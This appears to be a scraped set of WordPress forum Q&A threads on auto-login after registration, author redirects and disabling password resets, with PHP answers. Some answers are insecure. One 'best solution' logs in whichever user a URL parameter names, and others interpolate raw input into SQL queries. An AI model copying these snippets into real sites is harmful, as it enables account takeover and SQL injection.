I am trying to autologin a user after registration.
I am trying this in functions.php file:
add_action( 'user_register', 'auto_login_user' );
function auto_login_user($user_id) {
$user = new WP_User($user_id);
$user_login_var = $user->user_login;
$user_email_var = stripslashes($user->user_email);
$user_pass_var = $user->user_pass;
$creds = array();
$creds['user_login'] = $user_login_var;
$creds['user_password'] = $user_pass_var;
$creds['remember'] = true;
$user = wp_signon( $creds, false );
if ( is_wp_error($user) )
echo $user->get_error_message();
}
I am getting ERROR:
The password you entered for the username "TheNewUserCreated" is incorrect. Lost your password?
How Can I take the password from the User object?
Also because this is a custom registration process in template registration.php I tried to take it with $_POST and run the function in that file but I didnt have any success that way too...
EDIT:
Ok I am getting the encrypted password, so what is the solution here, how can I autologin the user? Maybe I can do this in registration.php page?
Add below function to functions.php file
function auto_login_new_user( $user_id ) {
wp_set_current_user($user_id);
wp_set_auth_cookie($user_id);
// You can change home_url() to the specific URL,such as
//wp_redirect( 'http://www.wpcoke.com' );
wp_redirect( home_url() );
exit;
}
add_action( 'user_register', 'auto_login_new_user' );
If you are using wp_insert_user(); to register your users then to auto-login them it's simple.
This function returns the user ID if success, so use it to login that user.
$id = wp_insert_user($data);
//so if the return is not an wp error object then continue with login
if(!is_wp_error($id)){
wp_set_current_user($id); // set the current wp user
wp_set_auth_cookie($id); // start the cookie for the current registered user
}
but to follow what you have already it can be like this:
add_action( 'user_register', 'auto_login_user' );
function auto_login_user($user_id) {
wp_set_current_user($user_id); // set the current wp user
wp_set_auth_cookie($user_id); // start the cookie for the current registered user
}
//this code is a bit tricky, if you are admin and you want to create a user then your admin session will be replaced with the new user you created :)
function auto_login() {
$getuserdata=get_user_by('login',$_GET['login']);
$tuserid=$getuserdata->ID;
$user_id = $tuserid;
$user = get_user_by( 'id', $user_id );
if( $user ) {
wp_set_current_user( $user_id, $user->user_login );
wp_set_auth_cookie( $user_id );
do_action( 'wp_login', $user->user_login );
}
}
add_action('init', 'auto_login');
i had have the same problem as your and found this best solution. try this in your functions.php file. and one thing more use submit your reset form in a function in functions.php file
Related
I created a new user and i gave him “author” role. I want him to only can write posts in wordpress. But when he logs in, he enters the user profile but not wordpress dashboard which is where i want. How can i fix this? I want him to go to wordpress dashboard so he can write posts only.
Try this,
<?php
// check if current user is the post author
global $current_user;
get_currentuserinfo();
if (is_user_logged_in() && $current_user->ID == $post->post_author) {
wp_redirect( admin_url( 'the url you need to redirect' ) );
exit;
}
?>
Add this code
function check_custom_authentication () {
$user_id = get_current_user_id();
$user_meta = get_userdata($user_id);
$user_roles = $user_meta->roles;
if ( in_array('author', $user_roles, true ) ) {
wp_redirect(admin_url());
exit;
}
}
add_action( 'wp_login' , 'check_custom_authentication' );
How can I disable the password change option for specific user in Wordpress?
I have a user where I set a new password each week for multiple users. But some tried to change the password for this user. I don't want that - but only for this specific user profile. All the other users should be able toi change their password.
I have tried different plugins but none of them work.
Thanks a lot if you can help on this!
Add this in your function.php file
class Password_Reset_Removed
{
function __construct()
{
add_filter( 'show_password_fields', array( $this, 'disable' ) );
add_filter( 'allow_password_reset', array( $this, 'disable' ) );
}
function disable()
{
if ( is_admin() ) {
$userdata = wp_get_current_user();
$user = new WP_User($userdata->ID);
if ( !empty( $user->roles ) && is_array( $user->roles ) && $user->roles[0] == 'administrator' )
return true;
}
return false;
}
}
$pass_reset_removed = new Password_Reset_Removed();
We have just removed the fields to change password from the back-end of the WordPress. Now, some users will also try to reset the password using the Lost your password? form from the log-in page.
In order to prevent them from doing that, we will remove lost password link and disable the lost password form by adding below code
function remove_lost_your_password($text)
{
return str_replace( array('Lost your password?', 'Lost your password'), '', trim($text, '?') );
}
add_filter( 'gettext', 'remove_lost_your_password' );
function disable_reset_lost_password()
{
return false;
}
add_filter( 'allow_password_reset', 'disable_reset_lost_password');
Note - you can update userid - as per your requirements
I am trying to login the user using the email only (The password is checked with an API from another system). The thing is all my code is running except for the part of autologin, below is my function:
I already tried different functionalities available online but what is happening with the below code is:
1- it will let the user login, but after refresh or going to any page which requires the user to be logged it, wordpress logs the user out.
function auth_new_user($username){
if(!username_exists($username)) {
// Generate the password and create the user
$password = wp_generate_password( 12, false );
$user_id = wp_create_user( $username, $password, $username );
// Set the nickname
wp_update_user(
array(
'ID' => $user_id,
'nickname' => $username
)
);
// Set the role
$user = new WP_User( $user_id );
$user->set_role( 'Subscriber' );
auto_login_usr($user_id,$username);
} // end if
else{
$the_user = get_user_by('email', $username);
$user_id = $the_user->ID;
echo $user_id;
auto_login_usr($user_id,$username);
}
}
function auto_login_usr($user_id, $username) {
$user = get_user_by( 'id', $user_id );
echo $user->user_login;
echo $user->password;
if( $user ) {
wp_set_current_user( $user_id, $user->user_login );
wp_set_auth_cookie( $user_id ,false, is_ssl());
do_action( 'wp_login', $user->user_login );
}
}
After logging in, WordPress automatically logs the user out ( keeps the user logged in for a second ). Note i debugged the code more than once and everything is appearing correctly ( User Id, User_login, and username).
Appreciate your help.
It is fine i fixed it myself, the headers was already sent. i should call the functions after_theme_setup:
either with a hook
Or Before calling get_header function
I have a plugin for registration process in wordpress. There was no password field but I created a password field and inserted the password instead of sending random password in emails. It is using wp_create_user function to create the user.
Now, I am trying to make the automatic login after registration but failed in it.
I tried the following function but failed in it. Please someone help.
wp_set_current_user($user_id); // set the current wp user
wp_set_auth_cookie($user_id); // start the cookie for the current registered user
wp_redirect(home_url());
Here is the process that I have been using, it's not complete but how I think that it must work.
$status = wp_create_user($username, $user_pass, $email);
$user_data = $wpdb->get_row("SELECT * FROM $users_table where user_login='$username' ");
$user_id = isset($user_data) ? $user_data->ID : 0;
if (is_wp_error($status)) {
$errors[] = language_code('USER_NAME_ALREADY_EXIST_PLEASE_TRY_ANOTHER_ONE');
} else {
wp_set_current_user($user_id);
wp_set_auth_cookie($user_id);
wp_redirect( home_url() );
}
Try following code into your theme functions.php file,It will work
function auto_login_new_user( $user_id ) {
wp_set_current_user($user_id);
wp_set_auth_cookie($user_id);
wp_redirect( home_url() );
exit;
}
add_action( 'user_register', 'auto_login_new_user' );
I've been trying for days now to take users who have just registered to my WordPress site and automatically log them in and then redirect them to a URL of my choice.
By default, WordPress sends you a username and a password, then you must log in manually. This is a total pain. How can i overcome this.
I have my own registration page(core php page) which successfully adds users into DB. But the point is, i should avoid users to login again.
Once registration is done, it should automatically redirects to home page or profile page.
I am a newbie to wordpress functionalities. It would be grateful if someone(who have knowledge on core functionality of wordpress) at least suggests a way/solution.
Looking forward.
Thanks
// Add on function.php for Auto login after register and redirect to a home page. varified this code
function auto_login_new_user( $user_id ) {
wp_set_current_user($user_id);
wp_set_auth_cookie($user_id);
$user = get_user_by( 'id', $user_id );
do_action( 'wp_login', $user->user_login );//`[Codex Ref.][1]
wp_redirect( home_url() ); // You can change home_url() to the specific URL,such as "wp_redirect( 'http://www.wpcoke.com' )";
exit;
}
add_action( 'user_register', 'auto_login_new_user' );
Following is based on how WooCommerce creates a new user and logs him in:
$user_pass = esc_attr( $_POST['account_password'] );
$new_user_data = array(
'user_login' => $_POST['account_username'],
'user_pass' => $user_pass,
'user_email' => $_POST['account_email'],
'role' => 'subscriber'
);
$user_id = wp_insert_user( $new_user_data );
// Set the global user object
$current_user = get_user_by( 'id', $user_id );
// set the WP login cookie
$secure_cookie = is_ssl() ? true : false;
wp_set_auth_cookie( $user_id, true, $secure_cookie );
to redirect use wp_safe_redirect, e.g.
wp_safe_redirect( home_url( '/' ) );
exit;
Instead of touching core files... You can use this
$secure_cookie = is_ssl();
$secure_cookie = apply_filters('secure_signon_cookie', $secure_cookie, array());
global $auth_secure_cookie;
$auth_secure_cookie = $secure_cookie;
wp_set_auth_cookie($user_id, true, $secure_cookie);
$user_info = get_userdata($user_id);
do_action('wp_login', $user_info->user_login, $user_info);
The function wp_create_user returns the just created user_id which you can use to create a cookie and log the user in. If you wish, you can redirect the logged in user to the profile or home page.
Thanks for your support guys..i did on my own with the following code..thanks for your time and support :)
<i>$getdetails= mysql_fetch_array(mysql_query("SELECT * FROM `wp_users` WHERE `ID`='$user_id'"));
$username=$getdetails['user_login'];
$creds = array();
$creds['user_login'] = $username;
$creds['user_password'] = $password;
$creds['remember'] = true;
$user = wp_signon( $creds, false );
if ( is_wp_error($user) ){
echo $user->get_error_message();
}else{
wp_redirect( home_url() );
}